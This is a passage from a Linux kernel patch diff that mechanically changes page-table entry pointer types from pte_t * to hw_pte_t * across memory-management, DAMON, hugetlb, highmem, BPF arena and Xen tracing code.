 DECLARE_EVENT_CLASS(xen_mmu_ptep_modify_prot,
 	    TP_PROTO(struct mm_struct *mm, unsigned long addr,
-		     pte_t *ptep, pte_t pteval),
+		     hw_pte_t *ptep, pte_t pteval),
 	    TP_ARGS(mm, addr, ptep, pteval),
 	    TP_STRUCT__entry(
 		    __field(struct mm_struct *, mm)
 		    __field(unsigned long, addr)
-		    __field(pte_t *, ptep)
+		    __field(hw_pte_t *, ptep)
 		    __field(pteval_t, pteval)
 		    ),
 	    TP_fast_assign(__entry->mm = mm;
@@ -227,7 +227,7 @@ DECLARE_EVENT_CLASS(xen_mmu_ptep_modify_prot,
 #define DEFINE_XEN_MMU_PTEP_MODIFY_PROT(name)				\
 	DEFINE_EVENT(xen_mmu_ptep_modify_prot, name,			\
 		     TP_PROTO(struct mm_struct *mm, unsigned long addr,	\
-			      pte_t *ptep, pte_t pteval),		\
+			      hw_pte_t *ptep, pte_t pteval),		\
 		     TP_ARGS(mm, addr, ptep, pteval))
 
 DEFINE_XEN_MMU_PTEP_MODIFY_PROT(xen_mmu_ptep_modify_prot_start);
diff --git a/kernel/bpf/arena.c b/kernel/bpf/arena.c
index 80b7b8a694464..c554c07b15592 100644
--- a/kernel/bpf/arena.c
+++ b/kernel/bpf/arena.c
@@ -153,7 +153,7 @@ struct clear_range_data {
 	struct page *scratch_page;
 };
 
-static int apply_range_set_cb(pte_t *pte, unsigned long addr, void *data)
+static int apply_range_set_cb(hw_pte_t *pte, unsigned long addr, void *data)
 {
 	struct apply_range_data *d = data;
 	struct page *page;
@@ -204,7 +204,7 @@ static void flush_vmap_cache(unsigned long start, unsigned long size)
 	flush_cache_vmap(start, start + size);
 }
 
-static int apply_range_clear_cb(pte_t *pte, unsigned long addr, void *data)
+static int apply_range_clear_cb(hw_pte_t *pte, unsigned long addr, void *data)
 {
 	struct clear_range_data *d = data;
 	pte_t old_pte;
@@ -234,7 +234,8 @@ static int apply_range_clear_cb(pte_t *pte, unsigned long addr, void *data)
 	return 0;
 }
 
-static int apply_range_set_scratch_cb(pte_t *pte, unsigned long addr, void *data)
+static int apply_range_set_scratch_cb(hw_pte_t *pte, unsigned long addr,
+				      void *data)
 {
 	struct page *scratch_page = data;
 
@@ -336,7 +337,7 @@ static struct bpf_map *arena_map_alloc(union bpf_attr *attr)
 	return ERR_PTR(err);
 }
 
-static int existing_page_cb(pte_t *ptep, unsigned long addr, void *data)
+static int existing_page_cb(hw_pte_t *ptep, unsigned long addr, void *data)
 {
 	struct bpf_arena *arena = data;
 	struct page *page;
diff --git a/kernel/events/core.c b/kernel/events/core.c
index cf78e892a4bb0..5413c3919935c 100644
--- a/kernel/events/core.c
+++ b/kernel/events/core.c
@@ -8488,7 +8488,8 @@ static u64 perf_get_pgtable_size(struct mm_struct *mm, unsigned long addr)
 	p4d_t *p4dp, p4d;
 	pud_t *pudp, pud;
 	pmd_t *pmdp, pmd;
-	pte_t *ptep, pte;
+	hw_pte_t *ptep;
+	pte_t pte;
 
 	pgdp = pgd_offset(mm, addr);
 	pgd = pgdp_get(pgdp);
diff --git a/mm/damon/ops-common.c b/mm/damon/ops-common.c
index e59f77eca83b2..8f6ac4223c76e 100644
--- a/mm/damon/ops-common.c
+++ b/mm/damon/ops-common.c
@@ -39,7 +39,7 @@ struct folio *damon_get_folio(unsigned long pfn)
 	return folio;
 }
 
-void damon_ptep_mkold(pte_t *pte, struct vm_area_struct *vma, unsigned long addr)
+void damon_ptep_mkold(hw_pte_t *pte, struct vm_area_struct *vma, unsigned long addr)
 {
 	pte_t pteval = ptep_get(pte);
 	struct folio *folio;
diff --git a/mm/damon/ops-common.h b/mm/damon/ops-common.h
index 38d295488fa18..34b7e5715fcf9 100644
--- a/mm/damon/ops-common.h
+++ b/mm/damon/ops-common.h
@@ -7,7 +7,7 @@
 
 struct folio *damon_get_folio(unsigned long pfn);
 
-void damon_ptep_mkold(pte_t *pte, struct vm_area_struct *vma, unsigned long addr);
+void damon_ptep_mkold(hw_pte_t *pte, struct vm_area_struct *vma, unsigned long addr);
 void damon_pmdp_mkold(pmd_t *pmd, struct vm_area_struct *vma, unsigned long addr);
 void damon_folio_mkold(struct folio *folio);
 bool damon_folio_young(struct folio *folio);
diff --git a/mm/damon/vaddr.c b/mm/damon/vaddr.c
index 4976775fe2762..ee29aec5a20cd 100644
--- a/mm/damon/vaddr.c
+++ b/mm/damon/vaddr.c
@@ -268,7 +268,7 @@ static void damon_va_walk_page_range(struct mm_struct *mm, unsigned long start,
 static int damon_mkold_pmd_entry(pmd_t *pmd, unsigned long addr,
 		unsigned long next, struct mm_walk *walk)
 {
-	pte_t *pte;
+	hw_pte_t *pte;
 	spinlock_t *ptl;
 
 	ptl = pmd_trans_huge_lock(pmd, walk->vma);
@@ -293,7 +293,7 @@ static int damon_mkold_pmd_entry(pmd_t *pmd, unsigned long addr,
 }
 
 #ifdef CONFIG_HUGETLB_PAGE
-static void damon_hugetlb_mkold(pte_t *pte, struct mm_struct *mm,
+static void damon_hugetlb_mkold(hw_pte_t *pte, struct mm_struct *mm,
 				struct vm_area_struct *vma, unsigned long addr)
 {
 	bool referenced = false;
@@ -320,7 +320,7 @@ static void damon_hugetlb_mkold(pte_t *pte, struct mm_struct *mm,
 	folio_put(folio);
 }
 
-static int damon_mkold_hugetlb_entry(pte_t *pte, unsigned long hmask,
+static int damon_mkold_hugetlb_entry(hw_pte_t *pte, unsigned long hmask,
 				     unsigned long addr, unsigned long end,
 				     struct mm_walk *walk)
 {
@@ -389,7 +389,7 @@ struct damon_young_walk_private {
 static int damon_young_pmd_entry(pmd_t *pmd, unsigned long addr,
 		unsigned long next, struct mm_walk *walk)
 {
-	pte_t *pte;
+	hw_pte_t *pte;
 	pte_t ptent;
 	spinlock_t *ptl;
 	struct folio *folio;
@@ -433,7 +433,7 @@ static int damon_young_pmd_entry(pmd_t *pmd, unsigned long addr,
 }
 
 #ifdef CONFIG_HUGETLB_PAGE
-static int damon_young_hugetlb_entry(pte_t *pte, unsigned long hmask,
+static int damon_young_hugetlb_entry(hw_pte_t *pte, unsigned long hmask,
 				     unsigned long addr, unsigned long end,
 				     struct mm_walk *walk)
 {
@@ -522,7 +522,7 @@ static unsigned int damon_va_check_accesses(struct damon_ctx *ctx)
 
 static bool damos_va_filter_young_match(struct damos_filter *filter,
 		struct folio *folio, struct vm_area_struct *vma,
-		unsigned long addr, pte_t *ptep, pmd_t *pmdp)
+		unsigned long addr, hw_pte_t *ptep, pmd_t *pmdp)
 {
 	bool young = false;
 
@@ -544,7 +544,7 @@ static bool damos_va_filter_young_match(struct damos_filter *filter,
 
 static bool damos_va_filter_out(struct damos *scheme, struct folio *folio,
 		struct vm_area_struct *vma, unsigned long addr,
-		pte_t *ptep, pmd_t *pmdp)
+		hw_pte_t *ptep, pmd_t *pmdp)
 {
 	struct damos_filter *filter;
 	bool matched;
@@ -640,7 +640,8 @@ static int damos_va_migrate_pmd_entry(pmd_t *pmd, unsigned long addr,
 	struct damos_migrate_dests *dests = &s->migrate_dests;
 	struct folio *folio;
 	spinlock_t *ptl;
-	pte_t *start_pte, *pte, ptent;
+	hw_pte_t *start_pte, *pte;
+	pte_t ptent;
 	int nr;
 
 #ifdef CONFIG_TRANSPARENT_HUGEPAGE
@@ -800,7 +801,8 @@ static int damos_va_stat_pmd_entry(pmd_t *pmd, unsigned long addr,
 	struct vm_area_struct *vma = walk->vma;
 	struct folio *folio;
 	spinlock_t *ptl;
-	pte_t *start_pte, *pte, ptent;
+	hw_pte_t *start_pte, *pte;
+	pte_t ptent;
 	int nr;
 
 #ifdef CONFIG_TRANSPARENT_HUGEPAGE
diff --git a/mm/debug_vm_pgtable.c b/mm/debug_vm_pgtable.c
index 2875fd22d7bb0..54e194d2a5854 100644
--- a/mm/debug_vm_pgtable.c
+++ b/mm/debug_vm_pgtable.c
@@ -50,7 +50,7 @@ struct pgtable_debug_args {
 	p4d_t			*p4dp;
 	pud_t			*pudp;
 	pmd_t			*pmdp;
-	pte_t			*ptep;
+	hw_pte_t		*ptep;
 
 	p4d_t			*start_p4dp;
 	pud_t			*start_pudp;
diff --git a/mm/filemap.c b/mm/filemap.c
index 1dbb4c6f824e9..0757dc131d05c 100644
--- a/mm/filemap.c
+++ b/mm/filemap.c
@@ -3484,7 +3484,7 @@ static vm_fault_t filemap_fault_recheck_pte_none(struct vm_fault *vmf)
 {
 	struct vm_area_struct *vma = vmf->vma;
 	vm_fault_t ret = 0;
-	pte_t *ptep;
+	hw_pte_t *ptep;
 
 	/*
 	 * We might have COW'ed a pagecache folio and might now have an mlocked
@@ -3790,7 +3790,7 @@ static vm_fault_t filemap_map_folio_range(struct vm_fault *vmf,
 	vm_fault_t ret = 0;
 	struct page *page = folio_page(folio, start);
 	unsigned int count = 0;
-	pte_t *old_ptep = vmf->pte;
+	hw_pte_t *old_ptep = vmf->pte;
 	unsigned long addr0;
 
 	/*
diff --git a/mm/gup.c b/mm/gup.c
index 1d32e9a3dc79c..425477d869b52 100644
--- a/mm/gup.c
+++ b/mm/gup.c
@@ -761,7 +761,7 @@ static struct page *follow_huge_pmd(struct vm_area_struct *vma,
 #endif	/* CONFIG_PGTABLE_HAS_HUGE_LEAVES */
 
 static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address,
-		pte_t *pte, unsigned int flags)
+		hw_pte_t *pte, unsigned int flags)
 {
 	if (flags & FOLL_TOUCH) {
 		pte_t orig_entry = ptep_get(pte);
@@ -806,7 +806,8 @@ static struct page *follow_page_pte(struct vm_area_struct *vma,
 	struct folio *folio;
 	struct page *page;
 	spinlock_t *ptl;
-	pte_t *ptep, pte;
+	hw_pte_t *ptep;
+	pte_t pte;
 	int ret;
 
 	ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
@@ -1035,7 +1036,7 @@ static int get_gate_page(struct mm_struct *mm, unsigned long address,
 	p4d_t *p4d;
 	pud_t *pud;
 	pmd_t *pmd;
-	pte_t *pte;
+	hw_pte_t *pte;
 	pte_t entry;
 	int ret = -EFAULT;
 
@@ -2843,7 +2844,7 @@ static int gup_fast_pte_range(pmd_t pmd, pmd_t *pmdp, unsigned long addr,
 		int *nr)
 {
 	int ret = 0;
-	pte_t *ptep, *ptem;
+	hw_pte_t *ptep, *ptem;
 
 	ptem = ptep = pte_offset_map(&pmd, addr);
 	if (!ptep)
diff --git a/mm/highmem.c b/mm/highmem.c
index a33e411839517..87f94cac6106b 100644
--- a/mm/highmem.c
+++ b/mm/highmem.c
@@ -141,7 +141,7 @@ EXPORT_SYMBOL(__totalhigh_pages);
 static int pkmap_count[LAST_PKMAP];
 static  __cacheline_aligned_in_smp DEFINE_SPINLOCK(kmap_lock);
 
-pte_t *pkmap_page_table;
+hw_pte_t *pkmap_page_table;
 
 /*
  * Most architectures have no use for kmap_high_get(), so let's abstract
@@ -532,9 +532,9 @@ static inline bool kmap_high_unmap_local(unsigned long vaddr)
 	return false;
 }
 
-static pte_t *__kmap_pte;
+static hw_pte_t *__kmap_pte;
 
-static pte_t *kmap_get_pte(unsigned long vaddr, int idx)
+static hw_pte_t *kmap_get_pte(unsigned long vaddr, int idx)
 {
 	if (IS_ENABLED(CONFIG_KMAP_LOCAL_NON_LINEAR_PTE_ARRAY))
 		/*
@@ -549,8 +549,9 @@ static pte_t *kmap_get_pte(unsigned long vaddr, int idx)
 
 void *__kmap_local_pfn_prot(unsigned long pfn, pgprot_t prot)
 {
-	pte_t pteval, *kmap_pte;
 	unsigned long vaddr;
+	hw_pte_t *kmap_pte;
+	pte_t pteval;
 	int idx;
 
 	/*
@@ -597,7 +598,7 @@ EXPORT_SYMBOL(__kmap_local_page_prot);
 void kunmap_local_indexed(const void *vaddr)
 {
 	unsigned long addr = (unsigned long) vaddr & PAGE_MASK;
-	pte_t *kmap_pte;
+	hw_pte_t *kmap_pte;
 	int idx;
 
 	if (addr < __fix_to_virt(FIX_KMAP_END) ||
@@ -646,7 +647,7 @@ EXPORT_SYMBOL(kunmap_local_indexed);
 void __kmap_local_sched_out(void)
 {
 	struct task_struct *tsk = current;
-	pte_t *kmap_pte;
+	hw_pte_t *kmap_pte;
 	int i;
 
 	/* Clear kmaps */
@@ -683,7 +684,7 @@ void __kmap_local_sched_out(void)
 void __kmap_local_sched_in(void)
 {
 	struct task_struct *tsk = current;
-	pte_t *kmap_pte;
+	hw_pte_t *kmap_pte;
 	int i;
 
 	/* Restore kmaps */
diff --git a/mm/hmm.c b/mm/hmm.c
index 2b05c53b82dc3..56208cd603c2a 100644
--- a/mm/hmm.c
+++ b/mm/hmm.c
@@ -240,7 +240,7 @@ static inline unsigned long pte_to_hmm_pfn_flags(struct hmm_range *range,
 }
 
 static int hmm_vma_handle_pte(struct mm_walk *walk, unsigned long addr,
-			      unsigned long end, pmd_t *pmdp, pte_t *ptep,
+			      unsigned long end, pmd_t *pmdp, hw_pte_t *ptep,
 			      unsigned long *hmm_pfn)
 {
 	struct hmm_vma_walk *hmm_vma_walk = walk->private;
@@ -411,7 +411,7 @@ static int hmm_vma_walk_pmd(pmd_t *pmdp,
 		&range->hmm_pfns[(start - range->start) >> PAGE_SHIFT];
 	unsigned long npages = (end - start) >> PAGE_SHIFT;
 	unsigned long addr = start;
-	pte_t *ptep;
+	hw_pte_t *ptep;
 	pmd_t pmd;
 
 again:
@@ -547,7 +547,7 @@ static int hmm_vma_walk_pud(pud_t *pudp, unsigned long start, unsigned long end,
 #endif
 
 #ifdef CONFIG_HUGETLB_PAGE
-static int hmm_vma_walk_hugetlb_entry(pte_t *pte, unsigned long hmask,
+static int hmm_vma_walk_hugetlb_entry(hw_pte_t *pte, unsigned long hmask,
 				      unsigned long start, unsigned long end,
 				      struct mm_walk *walk)
 {
diff --git a/mm/huge_memory.c b/mm/huge_memory.c
index 73522f296cee2..7f29b397b003b 100644
--- a/mm/huge_memory.c
+++ b/mm/huge_memory.c
@@ -3056,7 +3056,7 @@ static void __split_huge_zero_page_pmd(struct vm_area_struct *vma,
 	pgtable_t pgtable;
 	pmd_t _pmd, old_pmd;
 	unsigned long addr;
-	pte_t *pte;
+	hw_pte_t *pte;
 	int i;
 
 	/*
@@ -3106,7 +3106,7 @@ static void __split_huge_pmd_locked(struct vm_area_struct *vma, pmd_t *pmd,
 	bool soft_dirty, uffd_wp = false, young = false, write = false;
 	bool anon_exclusive = false, dirty = false;
 	unsigned long addr;
-	pte_t *pte;
+	hw_pte_t *pte;
 	int i;
 
 	VM_BUG_ON(haddr & ~HPAGE_PMD_MASK);
diff --git a/mm/hugetlb.c b/mm/hugetlb.c
index 566ce53c154f9..7454b026b92bf 100644
--- a/mm/hugetlb.c
+++ b/mm/hugetlb.c
@@ -120,7 +120,7 @@ static void hugetlb_vma_lock_free(struct vm_area_struct *vma);
 static void hugetlb_vma_lock_alloc(struct vm_area_struct *vma);
 static void __hugetlb_vma_unlock_write_free(struct vm_area_struct *vma);
 static int __huge_pmd_unshare(struct mmu_gather *tlb,
-		struct vm_area_struct *vma, unsigned long addr, pte_t *ptep,
+		struct vm_area_struct *vma, unsigned long addr, hw_pte_t *ptep,
 		bool check_locks);
 static void hugetlb_unshare_pmds(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end, bool take_locks);
@@ -4864,7 +4864,7 @@ static pte_t make_huge_pte(struct vm_area_struct *vma, struct folio *folio,
 }
 
 static void set_huge_ptep_writable(struct vm_area_struct *vma,
-				   unsigned long address, pte_t *ptep)
+				   unsigned long address, hw_pte_t *ptep)
 {
 	pte_t entry;
 
@@ -4874,14 +4874,14 @@ static void set_huge_ptep_writable(struct vm_area_struct *vma,
 }
 
 static void set_huge_ptep_maybe_writable(struct vm_area_struct *vma,
-					 unsigned long address, pte_t *ptep)
+					 unsigned long address, hw_pte_t *ptep)
 {
 	if (vma->vm_flags & VM_WRITE)
 		set_huge_ptep_writable(vma, address, ptep);
 }
 
 static void
-hugetlb_install_folio(struct vm_area_struct *vma, pte_t *ptep, unsigned long addr,
+hugetlb_install_folio(struct vm_area_struct *vma, hw_pte_t *ptep, unsigned long addr,
 		      struct folio *new_folio, pte_t old, unsigned long sz)
 {
 	pte_t newpte = make_huge_pte(vma, new_folio, true);
@@ -4907,7 +4907,8 @@ int copy_hugetlb_page_range(struct mm_struct *dst, struct mm_struct *src,
 			    struct vm_area_struct *dst_vma,
 			    struct vm_area_struct *src_vma)
 {
-	pte_t *src_pte, *dst_pte, entry;
+	hw_pte_t *src_pte, *dst_pte;
+	pte_t entry;
 	struct folio *pte_folio;
 	unsigned long addr;
 	bool cow = is_cow_mapping(src_vma->vm_flags);
@@ -5099,7 +5100,8 @@ int copy_hugetlb_page_range(struct mm_struct *dst, struct mm_struct *src,
 }
 
 static void move_huge_pte(struct vm_area_struct *vma, unsigned long old_addr,
-			  unsigned long new_addr, pte_t *src_pte, pte_t *dst_pte,
+			  unsigned long new_addr, hw_pte_t *src_pte,
+			  hw_pte_t *dst_pte,
 			  unsigned long sz)
 {
 	bool need_clear_uffd_wp = vma_has_uffd_without_event_remap(vma);
@@ -5161,7 +5163,7 @@ int move_hugetlb_page_tables(struct vm_area_struct *vma,
 	struct mm_struct *mm = vma->vm_mm;
 	unsigned long old_end = old_addr + len;
 	unsigned long last_addr_mask;
-	pte_t *src_pte, *dst_pte;
+	hw_pte_t *src_pte, *dst_pte;
 	struct mmu_notifier_range range;
 	struct mmu_gather tlb;
 
@@ -5222,7 +5224,7 @@ void __unmap_hugepage_range(struct mmu_gather *tlb, struct vm_area_struct *vma,
 	struct mm_struct *mm = vma->vm_mm;
 	const bool folio_provided = !!folio;
 	unsigned long address;
-	pte_t *ptep;
+	hw_pte_t *ptep;
 	pte_t pte;
 	spinlock_t *ptl;
 	struct hstate *h = hstate_vma(vma);
@@ -5752,7 +5754,7 @@ static inline vm_fault_t hugetlb_handle_userfault(struct vm_fault *vmf,
  * false if pte changed or is changing.
  */
 static bool hugetlb_pte_stable(struct hstate *h, struct mm_struct *mm, unsigned long addr,
-			       pte_t *ptep, pte_t old_pte)
+			       hw_pte_t *ptep, pte_t old_pte)
 {
 	spinlock_t *ptl;
 	bool same;
@@ -6277,7 +6279,7 @@ static struct folio *alloc_hugetlb_folio_vma(struct hstate *h,
  * Used by userfaultfd UFFDIO_* ioctls. Based on userfaultfd's mfill_atomic_pte
  * with modifications for hugetlb pages.
  */
-int hugetlb_mfill_atomic_pte(pte_t *dst_pte,
+int hugetlb_mfill_atomic_pte(hw_pte_t *dst_pte,
 			     struct vm_area_struct *dst_vma,
 			     unsigned long dst_addr,
 			     unsigned long src_addr,
@@ -6336,7 +6338,7 @@ int hugetlb_mfill_atomic_pte(pte_t *dst_pte,
 
 		folio = alloc_hugetlb_folio(dst_vma, dst_addr, false);
 		if (IS_ERR(folio)) {
-			pte_t *actual_pte = hugetlb_walk(dst_vma, dst_addr, PMD_SIZE);
+			hw_pte_t *actual_pte = hugetlb_walk(dst_vma, dst_addr, PMD_SIZE);
 			if (actual_pte) {
 				ret = -EEXIST;
 				goto out;
@@ -6504,7 +6506,7 @@ long hugetlb_change_protection(struct vm_area_struct *vma,
 {
 	struct mm_struct *mm = vma->vm_mm;
 	unsigned long start = address;
-	pte_t *ptep;
+	hw_pte_t *ptep;
 	pte_t pte;
 	struct hstate *h = hstate_vma(vma);
 	long pages = 0, psize = huge_page_size(h);
@@ -6989,15 +6991,15 @@ void adjust_range_if_pmd_sharing_possible(struct vm_area_struct *vma,
  * racing tasks could either miss the sharing (see huge_pte_offset) or select a
  * bad pmd for sharing.
  */
-pte_t *huge_pmd_share(struct mm_struct *mm, struct vm_area_struct *vma,
+hw_pte_t *huge_pmd_share(struct mm_struct *mm, struct vm_area_struct *vma,
 		      unsigned long addr, pud_t *pud)
 {
 	struct address_space *mapping = vma->vm_file->f_mapping;
 	const pgoff_t idx = linear_page_index(vma, addr);
 	struct vm_area_struct *svma;
 	unsigned long saddr;
-	pte_t *spte = NULL;
-	pte_t *pte;
+	hw_pte_t *spte = NULL;
+	hw_pte_t *pte;
 
 	i_mmap_lock_read(mapping);
 	mapping_rmap_tree_foreach(svma, mapping, idx, idx) {
@@ -7028,13 +7030,13 @@ pte_t *huge_pmd_share(struct mm_struct *mm, struct vm_area_struct *vma,
 	}
 	spin_unlock(&mm->page_table_lock);
 out:
-	pte = (pte_t *)pmd_alloc(mm, pud, addr);
+	pte = (hw_pte_t *)pmd_alloc(mm, pud, addr);
 	i_mmap_unlock_read(mapping);
 	return pte;
 }
 
 static int __huge_pmd_unshare(struct mmu_gather *tlb,
-		struct vm_area_struct *vma, unsigned long addr, pte_t *ptep,
+		struct vm_area_struct *vma, unsigned long addr, hw_pte_t *ptep,
 		bool check_locks)
 {
 	unsigned long sz = huge_page_size(hstate_vma(vma));
@@ -7075,7 +7077,7 @@ static int __huge_pmd_unshare(struct mmu_gather *tlb,
  *	    was not a shared PMD table.
  */
 int huge_pmd_unshare(struct mmu_gather *tlb, struct vm_area_struct *vma,
-		unsigned long addr, pte_t *ptep)
+		unsigned long addr, hw_pte_t *ptep)
 {
 	return __huge_pmd_unshare(tlb, vma, addr, ptep, /*check_locks=*/true);
 }
@@ -7105,21 +7107,21 @@ void huge_pmd_unshare_flush(struct mmu_gather *tlb, struct vm_area_struct *vma)
 
 #else /* !CONFIG_HUGETLB_PMD_PAGE_TABLE_SHARING */
 
-pte_t *huge_pmd_share(struct mm_struct *mm, struct vm_area_struct *vma,
+hw_pte_t *huge_pmd_share(struct mm_struct *mm, struct vm_area_struct *vma,
 		      unsigned long addr, pud_t *pud)
 {
 	return NULL;
 }
 
 static int __huge_pmd_unshare(struct mmu_gather *tlb,
-		struct vm_area_struct *vma, unsigned long addr, pte_t *ptep,
+		struct vm_area_struct *vma, unsigned long addr, hw_pte_t *ptep,
 		bool check_locks)
 {
 	return 0;
 }
 
 int huge_pmd_unshare(struct mmu_gather *tlb, struct vm_area_struct *vma,
-		unsigned long addr, pte_t *ptep)
+		unsigned long addr, hw_pte_t *ptep)
 {
 	return 0;
 }
@@ -7140,13 +7142,13 @@ bool want_pmd_share(struct vm_area_struct *vma, unsigned long addr)
 #endif /* CONFIG_HUGETLB_PMD_PAGE_TABLE_SHARING */
 
 #ifdef CONFIG_ARCH_WANT_GENERAL_HUGETLB
-pte_t *huge_pte_alloc(struct mm_struct *mm, struct vm_area_struct *vma,
+hw_pte_t *huge_pte_alloc(struct mm_struct *mm, struct vm_area_struct *vma,
 			unsigned long addr, unsigned long sz)
 {
 	pgd_t *pgd;
 	p4d_t *p4d;
 	pud_t *pud;
-	pte_t *pte = NULL;
+	hw_pte_t *pte = NULL;
 
 	pgd = pgd_offset(mm, addr);
 	p4d = p4d_alloc(mm, pgd, addr);
@@ -7155,13 +7157,13 @@ pte_t *huge_pte_alloc(struct mm_struct *mm, struct vm_area_struct *vma,
 	pud = pud_alloc(mm, p4d, addr);
 	if (pud) {
 		if (sz == PUD_SIZE) {
-			pte = (pte_t *)pud;
+			pte = (hw_pte_t *)pud;
 		} else {
 			BUG_ON(sz != PMD_SIZE);
 			if (want_pmd_share(vma, addr) && pud_none(*pud))
 				pte = huge_pmd_share(mm, vma, addr, pud);
 			else
-				pte = (pte_t *)pmd_alloc(mm, pud, addr);
+				pte = (hw_pte_t *)pmd_alloc(mm, pud, addr);
 		}
 	}
 
@@ -7183,7 +7185,7 @@ pte_t *huge_pte_alloc(struct mm_struct *mm, struct vm_area_struct *vma,
  * size @sz doesn't match the hugepage size at this level of the page
  * table.
  */
-pte_t *huge_pte_offset(struct mm_struct *mm,
+hw_pte_t *huge_pte_offset(struct mm_struct *mm,
 		       unsigned long addr, unsigned long sz)
 {
 	pgd_t *pgd;
@@ -7201,14 +7203,14 @@ pte_t *huge_pte_offset(struct mm_struct *mm,
 	pud = pud_offset(p4d, addr);
 	if (sz == PUD_SIZE)
 		/* must be pud huge, non-present or none */
-		return (pte_t *)pud;
+		return (hw_pte_t *)pud;
 	if (!pud_present(*pud))
 		return NULL;
 	/* must have a valid entry and size to go further */
 
 	pmd = pmd_offset(pud, addr);
 	/* must be pmd huge, non-present or none */
-	return (pte_t *)pmd;
+	return (hw_pte_t *)pmd;
 }
 
 /*
@@ -7387,7 +7389,7 @@ static void hugetlb_unshare_pmds(struct vm_area_struct *vma,
 	struct mmu_gather tlb;
 	unsigned long address;
 	spinlock_t *ptl;
-	pte_t *ptep;
+	hw_pte_t *ptep;
 
 	if (!(vma->vm_flags & VM_MAYSHARE))
 		return;
diff --git a/mm/hugetlb_vmemmap.c b/mm/hugetlb_vmemmap.c
index 917db0984143c..2850c19c45287 100644
--- a/mm/hugetlb_vmemmap.c
+++ b/mm/hugetlb_vmemmap.c
@@ -33,7 +33,7 @@
  *			operations.
  */
 struct vmemmap_remap_walk {
-	void			(*remap_pte)(pte_t *pte, unsigned long addr,
+	void			(*remap_pte)(hw_pte_t *pte, unsigned long addr,
 					     struct vmemmap_remap_walk *walk);
 
 	unsigned long		nr_walked;
@@ -55,7 +55,7 @@ static int vmemmap_split_pmd(pmd_t *pmd, struct page *head, unsigned long start,
 	pmd_t __pmd;
 	int i;
 	unsigned long addr = start;
-	pte_t *pgtable;
+	hw_pte_t *pgtable;
 
 	pgtable = pte_alloc_one_kernel(&init_mm);
 	if (!pgtable)
@@ -64,7 +64,8 @@ static int vmemmap_split_pmd(pmd_t *pmd, struct page *head, unsigned long start,
 	pmd_populate_kernel(&init_mm, &__pmd, pgtable);
 
 	for (i = 0; i < PTRS_PER_PTE; i++, addr += PAGE_SIZE) {
-		pte_t entry, *pte;
+		pte_t entry;
+		hw_pte_t *pte;
 		pgprot_t pgprot = PAGE_KERNEL;
 
 		entry = mk_pte(head + i, pgprot);
@@ -136,7 +137,7 @@ static int vmemmap_pmd_entry(pmd_t *pmd, unsigned long addr,
 	return vmemmap_split_pmd(pmd, head, addr & PMD_MASK, vmemmap_walk);
 }
 
-static int vmemmap_pte_entry(pte_t *pte, unsigned long addr,
+static int vmemmap_pte_entry(hw_pte_t *pte, unsigned long addr,
 			     unsigned long next, struct mm_walk *walk)
 {
 	struct vmemmap_remap_walk *vmemmap_walk = walk->private;
@@ -198,7 +199,7 @@ static void free_vmemmap_page_list(struct list_head *list)
 		free_vmemmap_page(page);
 }
 
-static void vmemmap_remap_pte(pte_t *pte, unsigned long addr,
+static void vmemmap_remap_pte(hw_pte_t *pte, unsigned long addr,
 			      struct vmemmap_remap_walk *walk)
 {
 	struct page *page = pte_page(ptep_get(pte));
@@ -232,7 +233,7 @@ static void vmemmap_remap_pte(pte_t *pte, unsigned long addr,
 	set_pte_at(&init_mm, addr, pte, entry);
 }
 
-static void vmemmap_restore_pte(pte_t *pte, unsigned long addr,
+static void vmemmap_restore_pte(hw_pte_t *pte, unsigned long addr,
 				struct vmemmap_remap_walk *walk)
 {
 	struct page *src = pte_page(ptep_get(pte)), *dst;
diff --git a/mm/internal.h b/mm/internal.h
index f47f06c555481..46039190db8bf 100644
--- a/mm/internal.h
+++ b/mm/internal.h
@@ -278,7 +278,7 @@ void unmap_vmas(struct mmu_gather *tlb, struct unmap_desc *unmap);
 #ifdef CONFIG_MMU
 
 bool cond_install_uffd_wp_ptes(struct vm_area_struct *vma,
-		unsigned long addr, pte_t *ptep, pte_t pte,
+		unsigned long addr, hw_pte_t *ptep, pte_t pte,
 		unsigned long nr_ptes);
 
 static inline void get_anon_vma(struct anon_vma *anon_vma)
@@ -414,7 +414,7 @@ static inline pte_t __pte_batch_clear_ignored(pte_t pte, fpb_t flags)
  * Return: the number of table entries in the batch.
  */
 static inline unsigned int folio_pte_batch_flags(struct folio *folio,
-		struct vm_area_struct *vma, pte_t *ptep, pte_t *ptentp,
+		struct vm_area_struct *vma, hw_pte_t *ptep, pte_t *ptentp,
 		unsigned int max_nr, fpb_t flags)
 {
 	bool any_writable = false, any_young = false, any_dirty = false;
@@ -468,7 +468,7 @@ static inline unsigned int folio_pte_batch_flags(struct folio *folio,
 	return min(nr, max_nr);
 }
 
-unsigned int folio_pte_batch(struct folio *folio, pte_t *ptep, pte_t pte,
+unsigned int folio_pte_batch(struct folio *folio, hw_pte_t *ptep, pte_t pte,
 		unsigned int max_nr);
 
 /**
@@ -525,11 +525,11 @@ static inline pte_t pte_next_swp_offset(pte_t pte)
  *
  * Return: the number of table entries in the batch.
  */
-static inline int swap_pte_batch(pte_t *start_ptep, int max_nr, pte_t pte)
+static inline int swap_pte_batch(hw_pte_t *start_ptep, int max_nr, pte_t pte)
 {
 	pte_t expected_pte = pte_next_swp_offset(pte);
-	const pte_t *end_ptep = start_ptep + max_nr;
-	pte_t *ptep = start_ptep + 1;
+	const hw_pte_t *end_ptep = start_ptep + max_nr;
+	hw_pte_t *ptep = start_ptep + 1;
 
 	VM_WARN_ON(max_nr < 1);
 	VM_WARN_ON(!softleaf_is_swap(softleaf_from_pte(pte)));
@@ -1569,7 +1569,7 @@ static inline void maybe_rmap_unlock_action(struct vm_area_struct *vma,
 
 #ifdef CONFIG_MMU_NOTIFIER
 static inline bool clear_flush_young_ptes_notify(struct vm_area_struct *vma,
-		unsigned long addr, pte_t *ptep, unsigned int nr)
+		unsigned long addr, hw_pte_t *ptep, unsigned int nr)
 {
 	bool young;
 
@@ -1590,7 +1590,7 @@ static inline bool pmdp_clear_flush_young_notify(struct vm_area_struct *vma,
 }
 
 static inline bool test_and_clear_young_ptes_notify(struct vm_area_struct *vma,
-		unsigned long addr, pte_t *ptep, unsigned int nr)
+		unsigned long addr, hw_pte_t *ptep, unsigned int nr)
 {
 	bool young;
 
diff --git a/mm/kasan/init.c b/mm/kasan/init.c
index 66a8838879876..30c5266eaf37e 100644
--- a/mm/kasan/init.c
+++ b/mm/kasan/init.c
@@ -92,7 +92,7 @@ static __init void *early_alloc(size_t size, int node)
